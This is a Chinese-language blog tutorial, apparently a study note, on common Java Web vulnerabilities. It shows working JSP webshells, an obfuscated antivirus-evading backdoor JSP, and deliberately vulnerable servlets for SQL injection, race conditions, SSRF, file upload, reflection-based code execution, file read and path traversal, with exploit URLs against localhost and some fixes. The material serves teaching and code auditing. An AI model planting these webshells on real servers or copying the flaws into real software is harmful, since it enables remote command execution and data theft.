2019-10-15 Java Web常见漏洞分析

目录

Java vs PHP

Java Web的常见概念

  • Java Web项目的目录结构
  • Servlet
  • JSP(Java Server Pages)
  • JDBC(Java Database Connectivity)
  • Java Bean

Java Web常见漏洞分析

  • 命令执行(JSP一句话木马等)
  • SQL注入
  • 条件竞争(Servlet线程不安全)
  • SSRF
  • 文件上传
  • 代码执行(Java反射机制)
  • 任意文件读取/目录遍历攻击

Java vs PHP

语言 Java PHP
语言类型(静态类型/动态类型) 静态类型(不过现在似乎引入了动态类型) 动态类型(变量在声明时不需要声明类型)
语言类型(强类型/弱类型) 强类型(不允许隐式类型转换,类型安全) 弱类型(存在隐式类型转换,类型不安全)
语言类型(编译型/解释型) 半编译半解释型(.java编译为.class,.class由JVM解释执行) 解释型
安全性 好(相对而言,从语言本身的角度来讲)
代码特点 代码复杂、长、不易懂 代码简单、短、易懂
是否需要反编译 因为存在编译过程,需要反编译才能看到源码 不需要反编译
代码审计的难易程度 困难(相比而言,代码审计的难易程度) 简单
Java是世界上最好的语言

Java Web常见概念

Java Web项目的目录结构

这里就讲有Maven的目录结构,因为做Java WebMaven几乎是必不可少的(以及构建工具里我只懂Maven……)。

JavaWebProject      项目根目录
|--src              存放Java源码
   |--main          Java程序及其相关的东西
      |--java       存放.java文件,这些文件一般是Servlet和JavaBean
      |--resources  存放需要用到的资源,比如Spring Framework的applicationContext.xml
   |-test           测试程序
|--web              JSP文件放在这里
   |--WEB-INF       非常重要的目录,据说Java Web的题一般是拿到这个文件夹
      |--classes    编译好的.class文件
      |--lib        项目依赖的一些包,比如JDBC的包
      web.xml       项目配置文件
pom.xml             Maven的文件

Servlet

狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个接口的类。

一般情况下,将Servlet理解为后者。

MVC的开发模式中,Servlet一般用作Controller

JSP(Java Server Pages)

JSP是一种动态网页技术标准,可以将特定的动态内容嵌入到静态页面中,类似于PHP

JSPJava作为脚本语言(也就是说可以在HTML文件中嵌入Java代码),其本质上是一个ServletJSP在第一次访问时会被翻译成Servlet,再编译为.class文件)。

一个简单粗暴的理解:JSPPHP一样,只是页面内嵌的语言换成了Java

JDBC(Java Database Connectivity)

JDBC(Java DataBase Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。

JavaBean

JavaBean是一些有特定特点的Java类,其特点是:

  1. 有无参的构造器。
  2. 所有的属性都是private,并且提供了相应的gettersetter方法。

服务器中访问的JavaBean一般有以下两种:

  1. 封装数据对象的JavaBean
  2. 封装业务逻辑的JavaBean

Java Web常见漏洞分析

这次只讲Java本身导致的一些漏洞,框架的漏洞太多了一时半会讲不完……

命令执行(JSP一句话木马)

无回显

<%
    Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

利用:

http://localhost:9000/javasec/commandExecution.jsp?cmd=calc

弹出计算器。

没有任何回显,不带cmd参数会报错。

有回显

    <%
        java.io.InputStream is = Runtime.getRuntime()
                                .exec(request.getParameter("command"))
                                .getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        while ((a = is.read(b)) != -1) {
            out.print(new String(b));
        }
    %>

利用:

http://localhost:9000/javasec/commandExecution.jsp?command=whoami

不带command参数也会报错。

以上是基本的一句话木马,如果需要加密码验证之类的东西,和PHP的方法基本相同。

免杀后门

from:https://xz.aliyun.com/t/2342

<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
    <INPUT TYPE="text" NAME="q">
    <INPUT TYPE="submit" VALUE="Fly">
</FORM>

<%
    String op="Got Nothing";
    String query = request.getParameter("q");
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    Boolean isWin;
    if(fileSeparator.equals("\\")){
        isWin = true;
    }else{
        isWin = false;
    }

    if (query != null) {
        ProcessBuilder pb;
        if(isWin) {
            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
        }else{
            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
        }
        Process process = pb.start();
        Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
    }
%>

<PRE>
    <%= op %>>
</PRE>
</BODY>
</HTML>

注意:Java要想把字符串当成代码来执行非常困难,因为没有eval()这样的方法。这个也是由Java语言本身半编译半解释的特性决定的。实现这个功能需要很大量的代码(大概方法就是自己写一个动态编译,把字符串写入临时文件里,然后编译它,再执行),所以有别的解决方法的话还是别这么干了。用一句话说就是:Java的eval()方法要自己实现

防范方法

禁用JSP,在web.xml中加入:

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jspx</url-pattern>
        <url-pattern>*.jsp</url-pattern>
        <scripting-invalid>true</scripting-invalid>
    </jsp-property-group>
</jsp-config>

添加以上设置之后,含有Java代码的JSP文件就会编译不通过。

SQL注入

典型漏洞代码:

            conn = DriverManager.getConnection(URL, USERNAME, PASSWORD);
            stmt = conn.createStatement();
            String sql = "SELECT * FROM user WHERE username = '" + username
                       + "' AND password = md5('" + password
                       + "')";
            System.out.println(sql);
            rs = stmt.executeQuery(sql);

分析、修复方案等:

https://www.yuque.com/timekeeper/sayyuy/shc33k

一句话:使用PreparedStatement、不要把用户输入的东西拼到SQL语句里。

            String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
            stmt = conn.prepareStatement(sql);
            stmt.setString(1, username);
            stmt.setString(2, password);
            rs = stmt.executeQuery();
            System.out.println(stmt.toString());

条件竞争(Servlet线程不安全)

某些情况下JavaPHP更容易出现条件竞争漏洞。这里分享由Servlet线程不安全导致的条件竞争漏洞。

Servlet实际上是单例的,除非这个Servlet实现SingleThreadMethod接口,当多线程并发访问时,每个线程得到的实际上是同一个Servlet实例,每个线程对这个Servlet实例的修改就会影响到其他线程。

当客户端第一次请求某个Servlet时,Servlet容器(比较常见的就是tomcat)会根据@WebServlet注解(Servlet版本3及以上)或者web.xml的配置(如果有的话)实例化这个Servlet。如果有新的客户端请求这个Servlet类,一般就不会再次实例化它了,也就是有多个线程在使用这个Servlet实例。

典型代码1:

package com.wen.javasec.controller;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/RaceCondition")
public class RaceCondition extends HttpServlet {
    private String username = "no name";

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String name = req.getParameter("username");
        if (name != null) {
            username = name;
        }
        resp.setContentType("text/html;charset=UTF-8");
        PrintWriter out = resp.getWriter();
        out.println(username);
        out.flush();
        out.close();
    }
}

直接访问:

http://localhost:9000/javasec/RaceCondition

输出no name

带上参数访问:

http://localhost:9000/javasec/RaceCondition?username=江文

输出变成江文

使用其他浏览器不带参数访问,输出还是江文。也就是说有其他的线程修改了成员变量的值。

修复:

  1. 不要在Servlet中使用成员变量。
  2. 实现SingleThreadModel接口(不建议,因为官方已经废弃了这个接口)。

SSRF

SSRF(Server-Side Request Forge, 服务端请求伪造),攻击者让服务端发起指定的请求。

SSRF攻击的目标一般是从外网无法访问的内网系统。

Java中的SSRF支持sun.net.www.protocol里的所有协议:

  • http
  • https
  • file
  • ftp
  • mailto
  • jar
  • netdoc

但是,相对于PHPJavaSSRF的利用局限较大(因为Java没有那么灵活),一般利用http协议来探测端口,利用file协议读取任意文件。

典型代码(应该是最简单的SSRF,利用SSRF读文件):

package com.wen.javasec.controller;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;

@WebServlet("/SSRF")
public class SSRFServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String url = req.getParameter("url");
        if (url != null) {
            URL u = new URL(url);
            URLConnection urlConnection = u.openConnection();
            URLConnection httpUrl = urlConnection;
            BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));
            String inputLine;
            StringBuffer html = new StringBuffer();

            while ((inputLine = in.readLine()) != null) {
                html.append(inputLine);
            }
            resp.setContentType("text/html;charset=UTF-8");
            PrintWriter out = resp.getWriter();
            out.println("<xmp>");
            out.print(html.toString());
            out.println("</xmp>");
            out.flush();
            out.close();
            in.close();
        }
    }
}

利用:

E盘根目录下放置flag.txt

http://localhost:9000/javasec/SSRF?url=file:///E:/flag.txt

成功读取到flag.txt的内容。

修复:

PHPSSRF一个修复方法。

以上代码如果加上强制类型转换,也可以使其失去读文件的功能:

URLConnection httpUrl = (HttpURLConnection) urlConnection;

文件上传

Java中实现文件上传的代码比较复杂,一个典型的没有做任何过滤的文件上传Servlet代码如下:

package com.wen.javasec.controller;

import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;

@WebServlet("/FileUpload")
public class UploadServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String root = req.getServletContext().getRealPath("/upload");
        DiskFileItemFactory factory = new DiskFileItemFactory();
        ServletFileUpload upload = new ServletFileUpload(factory);
        try {
            List<FileItem> list = upload.parseRequest(req);
            for (FileItem it : list) {
                if (!it.isFormField()) {
                    it.write(new File(root + "/" + it.getName()));
                    resp.getWriter().write("success");
                }
            }
        } catch (Exception e) {
            try {
                resp.getWriter().write("exception");
            } catch (IOException e1) {
                e1.printStackTrace();
            }
            e.printStackTrace();
        }
    }
}

对应的JSP

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>File Upload</title>
</head>
<body>
    <form method="post" action="${pageContext.request.contextPath}/FileUpload" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="submit">
    </form>
</body>
</html>

访问/upload.jsp,什么都可以上传。

这方面的代码审计和PHP差不多,看看Upload-Labs,研究一下就行。

代码执行(Java反射机制)

这里分享一下如何利用Java反射机制,与上面的文件上传漏洞相配合,来达到代码执行的目的。

因为Java存在反射机制,可以在不重启服务器的情况下,动态加载用户上传的jar包。如果一个JavaWeb应用存在文件上传漏洞,我们成功上传了一个jar包和一个JSP文件,就可以在这个JSP文件中通过反射去加载这个jar包,进而执行其中的恶意代码。

这里写在Servlet里了。如果跟文件上传配合着来的话,建议写在JSP里:

package com.wen.javasec.controller;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

@WebServlet("/Reflect")
public class ReflectServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String url = req.getParameter("url");
        String className = req.getParameter("class");
        String methodName = req.getParameter("method");
        String cmd = req.getParameter("cmd");

        URL[] urls = new URL[] { new URL(url) };
        URLClassLoader ucl = new URLClassLoader(urls);

        try {
            Class<?> cls = ucl.loadClass(className);
            Method method = cls.getMethod(methodName, String.class);
            String result = (String) method.invoke(cls.newInstance(), cmd);
            if (result != null) {
                resp.setContentType("text/html;charset=UTF-8");
                PrintWriter out = resp.getWriter();
                out.print(result);
                out.flush();
                out.close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

被加载的类,打成jar包:

import java.io.*;

public class Exec {
    public String execution(String cmd) {
        try {
            InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            String result = "Result:";
            while ((a = is.read(b)) != -1) {
                result += new String(b);
            }
            return result;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
        
    }
}

javac .\Exec.java
jar -cvf Exec.jar Exec.class

利用:

http://localhost:9000/javasec/Reflect?url=file:///E:/JavaWeb/jar/Exec.jar&class=Exec&method=execution&cmd=whoami

任意文件读取/目录遍历攻击

任意文件读取

读取任意文件,并显示:

package com.wen.javasec.controller;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;

@WebServlet("/FileRead")
public class FileReadServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String url = req.getParameter("file");
        if (url != null) {
            File file = new File(url);
            FileInputStream fis = new FileInputStream(file);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;
            while ((a = fis.read(b)) != -1) {
                baos.write(b, 0, a);
            }
            resp.setContentType("text/html;charset=UTF-8");
            PrintWriter out = resp.getWriter();
            out.print("<xmp>");
            out.print(new String(baos.toByteArray()));
            out.print("</xmp>");
            fis.close();
        }
    }
}

利用:

http://localhost:9000/javasec/FileRead?file=E:///flag.txt

目录遍历攻击

package com.wen.javasec.controller;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

@WebServlet("/FileDownload")
public class FileDownloadServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String root = req.getServletContext().getRealPath("/upload");
        String fileName = req.getParameter("file");
        File file = new File(root + "/" + fileName);
        FileInputStream fis = new FileInputStream(file);
        resp.addHeader("Content-Disposition", "attachment;filename=" + new String(fileName.getBytes()));
        resp.addHeader("Content-Length", "" + file.length());
        byte[] b = new byte[fis.available()];
        fis.read(b);
        resp.getOutputStream().write(b);
    }
}

对应的JSP

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Download</title>
</head>
<body>
    <form action="${pageContext.request.contextPath}/FileDownload" method="get">
        <label for="file">需要下载的文件名:</label>
        <input type="text" name="file" id="file">
        <input type="submit" value="submit">
    </form>
</body>
</html>

利用:

http://localhost:9000/javasec/FileDownload?file=../WEB-INF/web.xml

或者直接在download.jsp的输入框里输入../WEB-INF/web.xml也可以。

推荐阅读更多精彩内容

  • 这部分主要是与Java Web和Web Service相关的面试题。 96、阐述Servlet和CGI的区别? 答...
    杂货铺老板阅读 426评论 0 8
  • C/S、B/S 即客户端/服务器、浏览器/服务器架构 静态网站和动态网站 静态网站:网页使用HTML编写,存储在服...
    WhyDoWeLive阅读 287评论 0 0
  • 经典的Java面试题(第二部分),这部分主要是与Java Web和Web Service相关的面试题。 96、阐述...
    nnngu阅读 136评论 0 7
  • 面向对象编程(OOP) Java是一个支持并发、基于类和面向对象的计算机编程语言。下面列出了面向对象软件开发的优点...
    大家请叫我小杰阅读 179评论 0 0
  • JAVA相关基础知识 1、面向对象的特征有哪些方面 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以...
    yangkg阅读 60评论 0 1